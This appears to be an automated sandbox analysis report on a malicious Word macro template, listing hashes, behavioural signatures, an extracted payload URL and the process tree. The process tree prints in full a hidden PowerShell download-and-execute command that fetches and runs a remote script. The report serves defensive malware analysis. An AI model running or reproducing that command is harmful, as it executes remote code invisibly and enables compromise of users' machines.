Analysis
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max time kernel
141s -
max time network
156s -
platform
windows10-2004_x64 -
resource
win10v2004-20240226-en -
resource tags
arch:x64arch:x86image:win10v2004-20240226-enlocale:en-usos:windows10-2004-x64system -
submitted
25-06-2024 09:56
Behavioral task
behavioral1
Sample
cabb1a286994d597b4840176223cde844676e488051d27a1a3d35d208e0b56d3.dotm
Resource
win7-20240221-en
Behavioral task
behavioral2
Sample
cabb1a286994d597b4840176223cde844676e488051d27a1a3d35d208e0b56d3.dotm
Resource
win10v2004-20240226-en
General
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Target
cabb1a286994d597b4840176223cde844676e488051d27a1a3d35d208e0b56d3.dotm
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Size
19KB
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MD5
f521243bb4603ec2d67ac404b1cbd942
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SHA1
f33ae32bfd44346172263a46fc06a3ea770c78ed
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SHA256
cabb1a286994d597b4840176223cde844676e488051d27a1a3d35d208e0b56d3
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SHA512
1b4e45cf227fb53de35db348f1eb832b85ce6cb2165548ce89b4fdb4328b6e32a713bc5dd279bb4bc4044b2c364c79338ea499f43d55cd0eb8f94428875170a5
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SSDEEP
384:tmtRFMr+ii92IUI6bl+ZwNxt/ZtNNxFGPpql3FT6nAhiq:qRF2+ibIMl+ZqxllNzGPYinAwq
Malware Config
Extracted
http://192.168.49.70/run.txt
Signatures
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Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
description pid pid_target Process procid_target Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 1656 3672 powershell.exe 91 -
Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
pid Process 1656 powershell.exe -
Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString WINWORD.EXE Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz WINWORD.EXE -
Enumerates system info in registry 2 TTPs 3 IoCs
description ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU WINWORD.EXE -
Suspicious behavior: AddClipboardFormatListener 2 IoCs
pid Process 1516 WINWORD.EXE 1516 WINWORD.EXE -
Suspicious behavior: EnumeratesProcesses 3 IoCs
pid Process 1656 powershell.exe 1656 powershell.exe 1656 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 1656 powershell.exe -
Suspicious use of FindShellTrayWindow 2 IoCs
pid Process 1516 WINWORD.EXE 1516 WINWORD.EXE -
Suspicious use of SetWindowsHookEx 7 IoCs
pid Process 1516 WINWORD.EXE 1516 WINWORD.EXE 1516 WINWORD.EXE 1516 WINWORD.EXE 1516 WINWORD.EXE 1516 WINWORD.EXE 1516 WINWORD.EXE
Processes
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C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\cabb1a286994d597b4840176223cde844676e488051d27a1a3d35d208e0b56d3.dotm" /o ""1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
PID:1516
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -exec bypass -nop -w hidden -c iex((new-object system.net.webclient).downloadstring('http://192.168.49.70/run.txt'))1⤵
- Process spawned unexpected child process
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1656
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C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --no-appcompat-clear --mojo-platform-channel-handle=4080 --field-trial-handle=2744,i,16362475727591565961,3676688664819797550,262144 --variations-seed-version /prefetch:81⤵PID:832
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82